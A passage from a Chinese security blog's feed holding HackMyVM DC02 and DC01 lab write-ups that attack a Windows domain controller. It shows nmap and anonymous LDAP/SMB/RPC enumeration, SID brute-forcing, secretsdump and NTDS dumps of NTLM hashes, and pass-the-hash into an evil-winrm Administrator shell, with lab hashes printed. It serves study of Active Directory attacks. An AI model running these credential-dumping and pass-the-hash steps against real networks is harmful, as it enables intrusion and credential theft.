 0030   69 02 53 95 1F ED 0E 77  B5 24 17 BE 6E 80 A9 91   i.S....w.$..n...
NL$KM:44c5edcef50ebf0c15638b8d2fa3068f624dcad95520444175553e85820621148efaa1770a9c0da49a96447cfc896391690253951fed0e77b52417be6e80a991
[*] Cleaning up... 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以拿到&lt;code&gt;administrator&lt;/code&gt;的NTLM&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试登录，失败&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;crackmapexec smb 192.168.56.126 -u administrator -H 209c6174da490caeb422f3fa5a7ae634                    
SMB         192.168.56.126  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB         192.168.56.126  445    DC01             [-] SOUPEDECODE.LOCAL\\administrator:209c6174da490caeb422f3fa5a7ae634 STATUS_LOGON_FAILURE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在还存在机器账户的hash &lt;code&gt;$MACHINE.ACC&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:159de75b1e7662879be6482554b90e55
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;枚举看是哪台机子的哈希，得出来是&lt;code&gt;DC01$&lt;/code&gt;的&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;crackmapexec smb 192.168.56.126 -u username.txt -H 159de75b1e7662879be6482554b90e55
SMB         192.168.56.126  445    DC01             [+] SOUPEDECODE.LOCAL\\DC01$:159de75b1e7662879be6482554b90e55
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到是&lt;code&gt;DC01$&lt;/code&gt;的hash后，再次进行&lt;code&gt;secretsdump.py&lt;/code&gt; 获取&lt;code&gt;Administrator&lt;/code&gt;的hash&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(kali㉿kali)-[~/temp/DC02]
└─$ impacket-secretsdump &amp;#39;SOUPEDECODE.LOCAL/DC01$@192.168.10.107&amp;#39; -hashes &amp;#39;aad3b435b51404eeaad3b435b51404ee:f57e704569f3ff005004963445e0438c&amp;#39; &amp;gt; log3

┌──(kali㉿kali)-[~/temp/DC02]
└─$ cat log3 | grep &amp;quot;:500:&amp;quot;
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8982babd4da89d33210779a6c5b078bd:::
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nxc smb 192.168.205.146 -u &amp;#39;DC01$&amp;#39; -H &amp;#39;aa905227fd1b4142a01a09912606af5c&amp;#39; --ntds
[+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         192.168.205.146 445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:8982babd4da89d33210779a6c5b078bd:::
SMB         192.168.205.146 445    DC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.205.146 445    DC01             krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb9d84e61e78c26063aced3bf9398ef0:::
SMB         192.168.205.146 445    DC01             soupedecode.local\bmark0:1103:aad3b435b51404eeaad3b435b51404ee:d72c66e955a6dc0fe5e76d205a630b15:::
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;利用凭证获取shell&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(root㉿kali)-[/home/…/Desktop/hmv/DC02/share]
└─# evil-winrm -i 172.16.55.130 -u &amp;#39;administrator&amp;#39; -H &amp;#39;8982babd4da89d33210779a6c5b078bd&amp;#39;
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc&amp;#39; for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents&amp;gt; cd ../
*Evil-WinRM* PS C:\Users\Administrator&amp;gt; cd desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop&amp;gt; ls


    Directory: C:\Users\Administrator\desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/12/2024   1:01 PM             33 root.txt


*Evil-WinRM* PS C:\Users\Administrator\desktop&amp;gt; type root.txt
d41d8cd98f00b204e9800998ecf8427e
*Evil-WinRM* PS C:\Users\Administrator\desktop&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/dc02/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/dc02/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Wed, 20 Aug 2025 00:00:00 GMT</pubDate></item><item><title>HMV-DC01</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/dc01/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/dc01/</guid><description>Just enjoy my first Windows DC.</description><content:encoded>&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot; | awk &amp;#39;{print $1}&amp;#39;
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
10.0.91.3       
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sT -sV -p- -O 10.0.91.3    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-19 02:59 EDT

● -sC
使用 Nmap 自带的 默认脚本集 (equivalent to --script=default) ，会尝试常见的信息收集（如 banner 抓取、漏洞探测）。
● -sT
使用 TCP connect() 扫描。这是最基础的 TCP 扫描方式，直接调用系统的 connect 系统调用去建立三次握手，速度较慢，也更容易被发现。
● -sV
版本探测。在发现开放端口后，进一步探测服务的版本号、软件名。
● -p-
扫描 所有 65535 个 TCP 端口（从 1 到 65535）。
● -O
启用 操作系统探测（基于 TCP/IP 堆栈特征指纹匹配）。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sT -sV -p- -O 10.0.91.3    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-19 02:59 EDT
Nmap scan report for 10.0.91.3
Host is up (0.00039s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-08-19 22:00:51Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49705/tcp open  msrpc         Microsoft Windows RPC
49790/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:B9:D1:18 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|11|2016 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (97%), Microsoft Windows 11 21H2 (91%), Microsoft Windows Server 2016 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 14h59m56s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_nbstat: NetBIOS name: DC01, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: 08:00:27:b9:d1:18 (Oracle VirtualBox virtual NIC)
| smb2-time: 
|   date: 2025-08-19T22:01:43
|_  start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 202.41 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现&lt;code&gt;Domain: SOUPEDECODE.LOCAL0&lt;/code&gt;，域名解析一般都是小写，添加进dns&lt;/p&gt;
&lt;h1&gt;DNS写入&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo nano /etc/hosts
10.0.91.3 soupedecode.local
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;渗透思路&lt;/h1&gt;
&lt;h2&gt;4️⃣ 渗透测试重点&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;域枚举&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;LDAP 389/3268: 可尝试 &lt;code&gt;ldapsearch&lt;/code&gt; 枚举用户和组。&lt;/li&gt;
&lt;li&gt;RPC 135+动态端口: 可用 &lt;code&gt;rpcclient&lt;/code&gt; 或 &lt;code&gt;lookupsid.py&lt;/code&gt; 枚举 SID / 用户。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SMB 相关&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;445/139: 枚举共享目录（&lt;code&gt;smbclient -L&lt;/code&gt;）、NTLM 认证测试。&lt;/li&gt;
&lt;li&gt;SMB 签名强制开启 → 阻止中间人攻击，但不会阻止合法枚举。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kerberos/WinRM&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;88/464: 可做 Kerberos 枚举或密码喷射（AS-REP Roasting、Kerberoasting）。&lt;/li&gt;
&lt;li&gt;5985: WinRM 服务，合法凭据可远程执行命令。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNS&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;53/tcp: 可做域名解析、内部域信息枚举、域名爆破。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;匿名枚举&lt;/h1&gt;
&lt;h2&gt;前置知识&lt;/h2&gt;
&lt;h3&gt;🔹1. LDAP 匿名枚举&lt;/h3&gt;
&lt;p&gt;匿名绑定（Anonymous Bind）允许未认证的用户连接 LDAP。&lt;/p&gt;
&lt;p&gt;判断方法：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ldapsearch -x -H ldap://&amp;lt;IP&amp;gt; -D &amp;#39;&amp;#39; -w &amp;#39;&amp;#39; -b &amp;#39;&amp;#39; -s base &amp;quot;(objectclass=*)&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;成功返回域名信息、目录结构&lt;/strong&gt; → 支持匿名绑定，可以枚举用户/组。&lt;/li&gt;
&lt;li&gt;**返回 &lt;strong&gt;&lt;code&gt;**Invalid credentials**&lt;/code&gt;&lt;/strong&gt; 或 **&lt;code&gt;**Insufficient access**&lt;/code&gt; → 匿名枚举被禁用。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;🔹2. SMB 匿名枚举&lt;/h3&gt;
&lt;p&gt;Windows 的 SMB 服务允许“空会话”（Null Session）。&lt;/p&gt;
&lt;p&gt;判断方法：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;smbclient -L //&amp;lt;IP&amp;gt; -N
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;能列出共享&lt;/strong&gt; → 允许匿名会话。&lt;/li&gt;
&lt;li&gt;**报错 &lt;strong&gt;&lt;code&gt;**NT_STATUS_ACCESS_DENIED**&lt;/code&gt;&lt;/strong&gt; 或 **&lt;code&gt;**Logon failure**&lt;/code&gt; → 禁止匿名。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;还可以用：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;rpcclient -U &amp;quot;&amp;quot; &amp;lt;IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果直接能进入 RPC 命令行（如输入 &lt;code&gt;enumdomusers&lt;/code&gt; 有输出），说明匿名可用。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;🔹3. RPC 枚举&lt;/h3&gt;
&lt;p&gt;RPC 服务（135端口 + 动态端口）也可能支持匿名。&lt;/p&gt;
&lt;p&gt;判断方法：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;rpcclient -U &amp;quot;&amp;quot; &amp;lt;IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;能直接进入&lt;/strong&gt; → 匿名枚举开启。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;要求输入密码&lt;/strong&gt; → 匿名禁用。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;🔹4. lookupsid.py&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;lookupsid.py&lt;/code&gt; 可以用 &lt;strong&gt;空用户名/空密码&lt;/strong&gt; 尝试匿名 SID 枚举：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;lookupsid.py &amp;lt;DOMAIN&amp;gt;/&amp;quot;&amp;quot;@&amp;lt;IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;能返回 RID 对应的用户名/组名&lt;/strong&gt; → 匿名可行。&lt;/li&gt;
&lt;li&gt;**返回 **&lt;code&gt;**STATUS_ACCESS_DENIED**&lt;/code&gt; → 匿名禁用。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;枚举命令&lt;/h2&gt;
&lt;h3&gt;1️⃣ LDAP 枚举（389 / 3268）&lt;/h3&gt;
&lt;h5&gt;枚举域用户&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ldapsearch -x -H ldap://10.0.91.3:389 -D &amp;quot;&amp;quot; -w &amp;quot;&amp;quot; -b &amp;quot;DC=SOUPEDECODE,DC=LOCAL&amp;quot; &amp;quot;(objectClass=user)&amp;quot; sAMAccountName
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;枚举域组&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ldapsearch -x -H ldap://10.0.91.3:389 -D &amp;quot;&amp;quot; -w &amp;quot;&amp;quot; -b &amp;quot;DC=SOUPEDECODE,DC=LOCAL&amp;quot; &amp;quot;(objectClass=group)&amp;quot; cn
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;2️⃣ RPC 枚举（135 + 动态端口）&lt;/h3&gt;
&lt;h4&gt;使用 rpcclient 匿名连接&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;rpcclient -U &amp;quot;&amp;quot; -N 10.0.91.3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进入 RPC shell 后：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;enumdomusers       # 枚举域用户
enumdomgroups      # 枚举域组
queryuser &amp;lt;RID&amp;gt;    # 查看指定用户信息
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;使用 lookupsid.py（Impacket）&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;lookupsid.py &amp;#39;SOUPEDECODE.LOCAL/anonymous:@10.0.91.3&amp;#39; &amp;gt; users.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;会把域内 SID → 用户/组映射输出到 &lt;code&gt;users.txt&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;3️⃣ SMB 枚举（445 / 139）&lt;/h3&gt;
&lt;h4&gt;枚举共享目录（匿名）&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;smbclient -L //10.0.91.3 -N
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;访问共享（使用用户名和密码）&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;smbclient //10.0.91.3/C$ -U &amp;lt;username&amp;gt;%&amp;lt;password&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;impacket-lookupsid&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;lookupsid.py&lt;/code&gt;（在 Kali 上叫 &lt;code&gt;impacket-lookupsid&lt;/code&gt;）是 &lt;strong&gt;Impacket 工具集里专门用于枚举 Windows/Active Directory 域 SID（安全标识符）的工具&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;1️⃣ 它的主要用途&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;枚举域 SID&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;获取域的 &lt;strong&gt;唯一标识符（Domain SID）&lt;/strong&gt;，例如：&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;S-1-5-21-2986980474-46765180-2505414164
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;- 这是后续用户哈希获取、权限枚举的重要信息。
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;&lt;strong&gt;枚举域用户和组&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;通过暴力尝试 &lt;strong&gt;RID&lt;/strong&gt;（Relative Identifier，相对标识符）范围，找出所有已注册的用户、组和计算机账户。&lt;/li&gt;
&lt;li&gt;输出类似：&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;500: SOUPEDECODE\Administrator (SidTypeUser)
512: SOUPEDECODE\Domain Admins (SidTypeGroup)
2163: SOUPEDECODE\backup_svc (SidTypeUser)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;- 可以快速得到整个域的账户列表，包括服务账号和计算机账号。
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;&lt;strong&gt;匿名枚举支持&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;即使没有合法域用户认证，有些 Windows 域允许 &lt;strong&gt;RPC 接口的匿名查询&lt;/strong&gt;，仍然可以枚举部分或全部账户。&lt;/li&gt;
&lt;li&gt;对渗透测试和信息收集很有用。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;2️⃣ 工作原理&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;strong&gt;LSARPC (Local Security Authority Remote Procedure Call)&lt;/strong&gt; 协议&lt;/li&gt;
&lt;li&gt;连接到目标域控的 &lt;strong&gt;RPC 接口&lt;/strong&gt;，通常是 &lt;code&gt;ncacn_np:&amp;lt;target&amp;gt;[\pipe\lsarpc]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;通过发送请求尝试不同的 &lt;strong&gt;RID&lt;/strong&gt;，获取 SID → 名称映射&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3️⃣  前提条件&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;目标是 Windows 域控或加入域的服务器&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;只有 Active Directory 才有域 SID、域用户和组的概念。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;能访问域控的 RPC 接口&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;常见端口：&lt;code&gt;135/TCP&lt;/code&gt;（RPC Endpoint Mapper） + 动态 RPC 端口（一般 49152–65535）&lt;/li&gt;
&lt;li&gt;工具默认使用 LSARPC（&lt;code&gt;ncacn_np:&amp;lt;IP&amp;gt;[\pipe\lsarpc]&lt;/code&gt;）访问 RPC。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;匿名或低权限可用&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;一些域允许匿名 RPC 查询，这时无需域账户即可使用 &lt;code&gt;lookupsid&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;如果匿名访问被禁用，需要使用合法账户或凭据。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;需要收集初始信息&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;你想枚举：&lt;ul&gt;
&lt;li&gt;域 SID&lt;/li&gt;
&lt;li&gt;域用户（普通账户、服务账户、计算机账户）&lt;/li&gt;
&lt;li&gt;域组（Domain Admins, Domain Users 等）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;工具利用&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# impacket-lookupsid SOUPEDECODE.LOCAL/anonymous@10.0.91.3

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Brute forcing SIDs at 10.0.91.3
[*] StringBinding ncacn_np:10.0.91.3[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-2986980474-46765180-2505414164
498: SOUPEDECODE\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: SOUPEDECODE\Administrator (SidTypeUser)
501: SOUPEDECODE\Guest (SidTypeUser)
502: SOUPEDECODE\krbtgt (SidTypeUser)
512: SOUPEDECODE\Domain Admins (SidTypeGroup)
513: SOUPEDECODE\Domain Users (SidTypeGroup)
514: SOUPEDECODE\Domain Guests (SidTypeGroup)
515: SOUPEDECODE\Domain Computers (SidTypeGroup)
516: SOUPEDECODE\Domain Controllers (SidTypeGroup)
517: SOUPEDECODE\Cert Publishers (SidTypeAlias)
518: SOUPEDECODE\Schema Admins (SidTypeGroup)
519: SOUPEDECODE\Enterprise Admins (SidTypeGroup)
520: SOUPEDECODE\Group Policy Creator Owners (SidTypeGroup)
521: SOUPEDECODE\Read-only Domain Controllers (SidTypeGroup)
522: SOUPEDECODE\Cloneable Domain Controllers (SidTypeGroup)
..........
2154: SOUPEDECODE\PC-82$ (SidTypeUser)
2155: SOUPEDECODE\PC-83$ (SidTypeUser)
2156: SOUPEDECODE\PC-84$ (SidTypeUser)
2157: SOUPEDECODE\PC-85$ (SidTypeUser)
2158: SOUPEDECODE\PC-86$ (SidTypeUser)
2159: SOUPEDECODE\PC-87$ (SidTypeUser)
2160: SOUPEDECODE\PC-88$ (SidTypeUser)
2161: SOUPEDECODE\PC-89$ (SidTypeUser)
2162: SOUPEDECODE\PC-90$ (SidTypeUser)
2163: SOUPEDECODE\firewall_svc (SidTypeUser)
2164: SOUPEDECODE\backup_svc (SidTypeUser)
2165: SOUPEDECODE\web_svc (SidTypeUser)
2166: SOUPEDECODE\monitoring_svc (SidTypeUser)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;工具介绍&lt;/h1&gt;
&lt;h2&gt;1️⃣ CrackMapExec (CME)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;用途：&lt;/strong&gt; 以 &lt;strong&gt;渗透测试自动化为主&lt;/strong&gt;，侧重“账户凭据验证 + 横向移动 + 信息收集”。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;特点：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;支持 SMB/LDAP/WinRM/MSSQL 等多协议，不仅仅是 SMB&lt;/li&gt;
&lt;li&gt;能用已知用户名/密码或 NTLM hash 验证登录&lt;/li&gt;
&lt;li&gt;可枚举域信息、用户、组、共享、会话&lt;/li&gt;
&lt;li&gt;可执行远程命令（PSEXEC、WMIC、WMI）&lt;/li&gt;
&lt;li&gt;适合 &lt;strong&gt;红队渗透流程中自动化攻击和内网横向移动&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;典型命令：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# 测试 SMB 登录
cme smb 10.0.91.3 -u Administrator -p &amp;#39;Passw0rd!&amp;#39;

# 枚举 SMB 共享
cme smb 10.0.91.3 -u user -p pass --shares

# 枚举域用户
cme ldap 10.0.91.3 -u &amp;#39;user&amp;#39; -p &amp;#39;pass&amp;#39; --users
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;2️⃣ smbmap&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;用途：&lt;/strong&gt; 专注于 &lt;strong&gt;共享目录权限扫描和文件枚举&lt;/strong&gt;，更像 SMB 的“扫描器+文件访问工具”。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;特点：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;检测哪些共享可访问（读/写/列出）&lt;/li&gt;
&lt;li&gt;可以递归列出共享目录下文件&lt;/li&gt;
&lt;li&gt;可下载或上传文件（如果权限允许）&lt;/li&gt;
&lt;li&gt;不关注域信息或横向移动，只关注 SMB 文件系统&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;典型命令：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# 列出共享和权限
smbmap -H 10.0.91.3 -u user -p pass

# 下载共享目录下文件
smbmap -H 10.0.91.3 -u user -p pass -R /shared/folder

# 上传文件
smbmap -H 10.0.91.3 -u user -p pass -U /local/file.txt -T /remote/path
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;3️⃣ 区别总结&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;工具&lt;/th&gt;
&lt;th&gt;主要用途&lt;/th&gt;
&lt;th&gt;强项&lt;/th&gt;
&lt;th&gt;典型阶段&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CME&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;内网渗透自动化、凭据验证、横向移动&lt;/td&gt;
&lt;td&gt;枚举域、用户、组、共享、远程命令执行&lt;/td&gt;
&lt;td&gt;内网渗透、红队操作&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;smbmap&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SMB 文件系统枚举&lt;/td&gt;
&lt;td&gt;扫描共享目录权限、下载/上传文件&lt;/td&gt;
&lt;td&gt;SMB 权限测试、文件渗透&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h1&gt;爆破登录&lt;/h1&gt;
&lt;h2&gt;提取指令&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;500: SOUPEDECODE\Administrator (SidTypeUser)
impacket-lookupsid SOUPEDECODE.LOCAL/anonymous@10.0.91.3 \
| grep &amp;quot;(SidTypeUser)&amp;quot; \
| awk -F&amp;#39;\\&amp;#39; &amp;#39;{print $2}&amp;#39; \
| grep -v &amp;#39;\$&amp;#39; \
| sed &amp;#39;s/ (SidTypeUser)//&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Awk 为什么要两个 &lt;code&gt;\&lt;/code&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;在 awk 里，&lt;code&gt;**-F**&lt;/code&gt; 用来指定分隔符。&lt;/p&gt;
